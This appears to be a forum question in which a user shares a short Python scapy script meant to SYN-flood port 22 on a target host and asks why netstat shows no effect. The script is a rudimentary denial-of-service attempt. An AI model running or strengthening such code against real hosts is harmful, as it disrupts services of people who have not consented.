Reputation: 11
I'm creating a SYN Flood Attack but the attack looks never happened when I try to do netstat -at
in destination host.
#!/usr/bin/python
from scapy.all import *
p=IP(dst="192.192.192.192",id=1111,ttl=99)/TCP(sport=RandShort(),dport=22,seq=12345,ack=1000,window=1000,flags="S")
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4, count=10)
ans.summary()
unans.summary()
I'm trying to do SYN Flood attack and when I do netstat -at
in destination host find the attack result there. I didn't find the attack at all.
Upvotes: 0
Views: 327